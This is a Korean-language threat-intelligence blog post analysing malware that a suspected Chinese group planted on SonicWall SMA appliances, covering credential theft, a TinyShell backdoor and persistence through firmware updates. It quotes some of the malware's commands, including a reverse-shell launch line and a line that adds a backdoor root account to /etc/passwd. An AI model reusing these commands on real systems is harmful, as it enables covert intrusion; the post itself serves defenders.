Blog

[Stealing the LIGHTSHOW - Part 2] SonicWall SMA 어플라이언스에서 맬웨어를 실행해 지속성을 유지하는 중국 캠페인

Mandiant Intelligence and Consulting
Mar 09, 2023
4 min read
|   Last updated: Jul 26, 2023
Threat Intelligence
Consulting
Uncategorized Groups (UNC Groups)
North Korea
Malware

맨디언트는 SonicWall의 SAM(Secure Mobile Access) 어플라이언스에서 맬웨어를 실행하여 지속성을 유지하는 것으로 보이는 의심스러운 중국 캠페인을 식별하였습니다. 이 맬웨어는 사용자 자격 증명을 탈취하고, 쉘 액세스를 제공하고, 펌웨어 업그레이드를 통해 지속성을 유지하는 기능을 갖추고 있는 것으로 보입니다. 맨디언트는 이 사이버 위협 캠페인을 진행한 위협 행위자 집단을 UNC4540으로 이름 붙였고, 현재 추적을 진행 중입니다.

맬웨어

손상된 SonicWall의 SAM 어플라이언스를 분석해 보니 공격자에게 높은 권한을 부여하는 파일 모음을 발견할 수 있었습니다(표 1). 이 맬웨어는 일련의 bash 스크립트와 TinyShell 변종으로 보이는 단일 ELF 바이너리로 구성됩니다. 악의적인 bash 스크립트들의 동작을 보면 공격자가 SonicWall의 SAM 어플라이언스를 꽤 높은 수준으로 이해하고 있다는 것을 알 수 있습니다.

경로

Hash

기능

/bin/firewalld

e4117b17e3d14fe64f45750be71dbaa6

주요 맬웨어 프로세스

/bin/httpsd

2d57bcb8351cf2b57c4fd2d1bb8f862e

TinyShell 백도어

/etc/rc.d/rc.local

559b9ae2a578e1258e80c45a5794c071

firewalld의 부팅 지속성

/bin/iptabled

8dbf1effa7bc94fc0b9b4ce83dfce2e6

주요 맬웨어 프로세스

/bin/geoBotnetd

619769d3d40a3c28ec83832ca521f521

펌웨어 백도어 스크립트

/bin/ifconfig6

fa1bf2e427b2defffd573854c35d4919

정상적인 종료 스크립트

표 1. 맬웨어 파일

메인 모듈

맬웨어가 시스템에 침투해 실행되는 진입점(Entry Point)은 firewalld라는 이름의 bash 스크립트에 의해 만들어집니다. firewalld는 시스템의 모든 파일을 대상으로 루프를 실행합니다(…for j in $(ls / -R) do for i in $(ls / -R) do:…). 이 스크립트는 SQL 명령을 실하여 자격 증명 도용과 다른 구성 요소 실행을 담당하는 역할을 합니다.

firewalld의 첫 번째 함수는 httpsd 프로세스가 실행 중이 아닌 경우 '/bin/httpsd -c -d 5 -m -1 -p 51432 > /dev/null 2>&1' 명령으로 TinyShell 백도어 httpsd를 실행합니다. 이렇게 하면 TinyShell이 리버스 쉘 모드로 설정되어 '-m' 플래그로 표시된 특정 시간과 요일에 '-d' 플래그로 정의된 비콘 간격으로 앞서 언급한 IP 주소와 포트로 호출하도록 합니다. 바이너리에는 IP 주소가 하드 코딩되어 있으며, IP 주소 인수가 비어 있는 경우 리버스 쉘 모드에서 사용됩니다. 또한, 수신 바인드 쉘 모드도 사용할 수 있습니다.

자격 증명 도용

firewalld는 로그인한 모든 사용자로부터 해시된 자격 증명을 훔치는 것을 목표로 합니다. 이 맬웨어는 세션에서 'sqlite3' 데이터베이스 'tmp/temp.db'에 대해 'selet userName,password' SQL 명령을 주기적으로 실행합니다. 그리고 실행 결과는 공격자가 만든 텍스트 파일인 'tmp/syslog.db'로 복사됩니다. 소스 데이터베이스 'tmp/temp.db'는 SonicWall의 SAM 어플라이언스에서 해시된 자격 증명을 포함한 세션 정보를 추적하는 데 사용됩니다. 공격자가 해시를 검색하면 오프라인에서 해시를 크래킹할 수 있습니다.

지속성과 안정성에 중점

공격자들은 지속성과 안정성에 상당한 공을 들여 공격 도구를 만들었습니다. 이런 노력 덕분에 펌웨어 업데이트를 통해 네트워크 액세스를 유지하고, SonicWall의 SAM 어플라이언스를 지속적인 침해 활동을 위한 발판으로 삼을 수 있었습니다.

중복 스크립트

맨디언트는 iptabled라는 이름의 firewalld 복사본을 SonicWall의 SAM 어플라이언스에서 찾을 수 있었습니다. 이를 통해 공격자들이 지속성과 안정성 보장을 위해 노력을 기울였다는 것을 확인할 수 있었습니다. iptabled는 종료나 충돌 시 주요 맬웨어 프로세스에 대한 지속성을 제공합니다. firewalld와 iptabled는 상호 호출 관계에 있습니다. 일종의 백업 인스턴스로 동작을 합니다. firewalld가 동작하지 않으면 iptabled가 호출되는 식으로 동작을 합니다. 이를 통해 공격자들은 맬웨어의 복원력을 높였습니다.

펌웨어 업데이트로 새로운 루트 생성

공격자들은 지속성과 안정성 보장 외에도 펌웨어 업데이트 시에도 액세스를 유지할 수 있는 프로세스를 구현하였습니다. bash 스크립트인 geoBotnetd는 10초마다 새로운 펌웨어가 '/cf/FIRMWARE/NEW/INITRD.GZ'에 나타나는지 확인합니다. 새로운 업그레이드가 발견되면 스크립트는 백업을 위해 파일을 복사하고, 압축을 풀고, 마운트한 다음에 전체 맬웨어 파일 패키지를 복사합니다.

또한, geoBotnetd는 'echo -e "acme:wegB/YNBuL7QI:0:0:pwned:/acme:/bin/bash\n" >> /sda/etc/passwd'를 실행하여 백도어 루트 사용자인 acme를 시스템에 추가합니다. 그런 다음 모든 압축을 풀고 모든 맬웨어가 포함된 상태로 다시 제자리에 넣어 설치 준비를 마칩니다. 이 기법은 정교하다 볼 수는 없지만 공격자들이 SonicWall의 SAM 어플라이언스의 업데이트 주기를 파악하여 지속성을 유지하기 위한 구현을 하는 데 상당한 노력을 기울였다는 것을 잘 보여 줍니다. 이번 캠페인에서 공격자들이 사용한 기법은 중국 APT 위협 행위자가 VPN 장치를 손상시키는 방법과 비슷합니다. 상세 내용은 관련 포스팅을 참조 바랍니다.

참고로 업데이트를 통해 펌웨어를 조작하는 기법은 공격 대상 장치에만 활용되었고, 소프트웨어 공급망 공격으로 확산되지는 않았습니다.

바이너리에 적용된 패치로 안정성 강화

firewalld 스크립트에는 합법적인 SonicWall의 SAM 어플라이언스의 바이너리인 firebased에 패치를 추가하는 기능도 포함되어 있습니다. 이 스크립트는 간단한 'sed' 명령을 사용해 바이너리에서 '/sbin/shutdown -r now' 문자열을 'bash /bin/ifconfig6'로 바꾼 다음 '/bin/ifconfig6' 스크립트를 생성합니다.

#!/bin/sh

ifconfig eth0 down

sleep 90

/sbin/shutdown -r now

맨디언트는 패치 추가 기능이 SonicWall의 SAM 어플라이언스에 어떤 조건에서 어떤 영향을 끼치는지는 상세히 알아보지 않았습니다. 다만 종료 명령을 실행하기 전에 네트워크 컨트롤러를 정상적으로 종료하려는 의도를 공격자들이 갖고 있다는 것은 분명해 보입니다. 또한, 공격자들은 firebased가 SonicWall의 SAM 어플라이언스를 종료할 때 문제에 직면했을 가능성이 있습니다.

장기간 운영, 최초 감염 경로는 불분명

맨디언트는 감염 출처를 확인할 수 없었습니다. 맬웨어는 2021년에 배포되었을 가능성이 높습니다. 맨디언트는 공격자들이 펌웨어 업데이트를 통해 침해 SonicWall의 SAM 어플라이언스에 대한 액세스를 유지했다고 봅니다.

탐지 및 방어

SonicWall의 SAM 어플라이언스 관련 취약점 악용의 위험을 완화하려면 패치 관리가 필요합니다. 이 포스팅을 작성하는 시점에 SonicWall은 SAM 어플라이언스 이용 고객을 대상으로 10.2.1.7 이상의 버전으로 업그레이드할 것을 권장하였습니다. 패치에 대한 상세 설명은 SonicWall의 블로그 포스팅을 참조 바랍니다.

SMA100 Series

만약 SonicWall의 SAM 어플라이언스를 사용 중이라면 이번 캠페인에 영향을 받았는지 비정상적인 로그인 또는 내부 트래픽 같은 징후를 살펴 침해 여부를 살펴볼 수 있습니다. 이렇게 탐지를 하는 것보다 최신 패치를 적용하는 것이 가장 좋은 방법이라 할 수 있습니다.

네트워크 장치를 침해하는 중국 공격자들의 패턴

관리형 어플라이언스를 목표로 맬웨어를 개발하는 것은 어려운 일입니다. 관리형 어플라이언스를 만드는 업체는 보통 사용자가 운영체제나 파일시스템에 직접 접근하지 못하게 합니다. 사용자에게는 그래픽 UI 및 제한된 명령만 수행할 수 있는 CLI 환경이 제공됩니다. 이는 사용자 실수로 시스템을 손상시키는 사고를 방지하기 위함입니다. 이런 특징으로 관리형 어플라이언스를 공격하기 위한 맬웨어를 만드는 것은 상당한 리소스와 노력이 필요합니다.

최근 몇 년 동안 중국 공격자들은 기업 침투 경로로 인터넷에 연결된 다양한 네트워크 어플라이언스를 노렸습니다. 그리고 이들 장치를 대상으로 익스플로잇과 맬웨어를 배포하였습니다. 이번 포스팅에 소개한 캠페인은 중국 공격자들이 보여온 네트워크 어플라이언스를 타깃으로 한 침해의 연장 선상에 있습니다. 맨디언트는 이런 패턴이 당분간 이어질 것으로 예상하고 있습니다. 중국 공격자들이 인터넷에 연결된 네트워크 장치를 노리는 또 다른 예는 맨디언트가 올린 FortiOS 취약점을 악용하는 것으로 의심되는 중국 위협 행위자(CVE-2022_42475) 분석 포스팅을 참조 바랍니다.